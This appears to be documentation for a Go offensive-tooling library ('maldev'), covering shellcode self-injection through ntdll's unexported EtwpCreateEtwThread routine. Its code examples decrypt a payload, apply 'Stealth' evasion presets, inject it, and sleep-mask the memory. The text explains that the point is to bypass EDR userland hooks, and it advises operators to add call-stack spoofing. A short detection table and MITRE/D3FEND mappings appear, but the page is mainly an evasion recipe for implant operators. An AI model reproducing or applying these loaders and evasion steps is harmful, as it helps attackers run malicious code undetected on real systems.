EtwpCreateEtwThread injection
← injection index · docs/index
TL;DR
Self-injection via the internal ntdll!EtwpCreateEtwThread —
ETW's private thread-creation routine. Allocates RX in the current
process, writes shellcode, calls the routine with the shellcode
address as the start point. Same end result as NtCreateThreadEx,
but the underlying call is unexported and rarely hooked. Self-process
only.
Primer
ETW (Event Tracing for Windows) maintains its own helper threads for
trace-buffer management. Internally ntdll exposes the
EtwpCreateEtwThread routine to spawn those helpers. The routine
boils down to NtCreateThreadEx with ETW-specific flags and a small
trampoline, but it is not exported by name — EDR products that
hook NtCreateThreadEx for thread-creation telemetry typically do not
also hook the private ETW routine.
The implant resolves EtwpCreateEtwThread by symbol lookup or hashed
PEB walk, allocates an RX page in itself, and calls the routine with
the shellcode address as the start point. A real OS thread starts at
the shellcode — same outcome as CreateThread, far quieter on
userland-hook telemetry.
This is self-process only. Cross-process work needs a different primitive.
How it works
flowchart LR
A[VirtualAlloc RW] --> B[memcpy shellcode]
B --> C[VirtualProtect → RX]
C --> D[resolve ntdll!EtwpCreateEtwThread]
D --> E[invoke EtwpCreateEtwThread<br>start = shellcode]
E --> F[new OS thread runs shellcode]
Steps:
- Allocate / write / protect in the current process (RW → RX).
- Resolve
ntdll!EtwpCreateEtwThreadviaGetProcAddress, manual export-table walk, or a hashed PEB walk. - Call the routine with the shellcode address as the start parameter.
The internal routine ends up calling NtCreateThreadEx itself; the
kernel's thread-creation telemetry still fires (PsSetCreateThreadNotifyRoutine).
What the technique evades is the userland-hook layer that EDR
products typically install on the documented CreateThread family.
API Reference
This injection mode is selected via Method. The package does not
expose EtwpCreateEtwThread as a top-level helper — drive it through
the standard Injector / Builder paths.
Method = MethodEtwpCreateEtwThread
The constant "etwthr". Self-injection only — Config.PID must be
0 (current process) or unset.
Builder pattern
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
SelfInjector is implemented; the freshly-allocated region is
recoverable via InjectedRegion for sleep masking or wiping.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
cfg := inject.DefaultWindowsConfig(inject.MethodEtwpCreateEtwThread, 0)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (with SelfInjector for sleep masking)
import (
"time"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(30 * time.Second)
}
}
}
Advanced (decrypt + ETWP inject + sleep mask)
import (
"time"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(60 * time.Second)
}
}
}
Complex
The Pipeline API has no dedicated EtwpCreateEtwThreadExecutor;
the named-method path is canonical. To experiment with custom
executors, replicate the resolve-and-call snippet from
inject/injector_self_windows.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Userland hooks on NtCreateThreadEx / CreateThread | Bypassed — EtwpCreateEtwThread is unexported |
Kernel PsSetCreateThreadNotifyRoutine callback | Still fires — the kernel sees a normal thread creation |
| Stack-walking on the new thread | The start address points into a non-image RX region — same orphan signal as CreateRemoteThread |
EtwpCreateEtwThread invocation from a non-ETW caller | Niche EDR rule — most products do not key on it; mature ETW-aware EDRs (CrowdStrike) do |
D3FEND counters:
- D3-PSA — kernel callback still surfaces the new thread.
- D3-PCSV — verifies the start address against image segments.
Hardening for the operator: combine with evasion/callstack
to fake the call site so stack-walking telemetry does not trivially
flag the orphan thread; pair with evasion/sleepmask
to encrypt the RX region between activations.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055 | Process Injection | self-process variant via internal ntdll routine | D3-PSA |
Limitations
- Self-process only. The routine starts a thread in the calling process. No PID parameter.
- Not a kernel-callback bypass.
PsSetCreateThreadNotifyRoutinestill fires. The technique evades userland-hook telemetry only. - Undocumented.
EtwpCreateEtwThreadis internal to ntdll. Future Windows builds may rename, relocate, or remove it. The package's resolver caches the address; verify after major OS updates. - Stack walks still expose orphan threads. Pair with callstack spoofing for thorough coverage.
See also
- CreateRemoteThread — the documented variant.
- NtQueueApcThreadEx — alternative self-process path with no thread creation event at all.
evasion/callstack— fake the call site of the spawned thread.evasion/sleepmask— encrypt the RX region during inactive periods.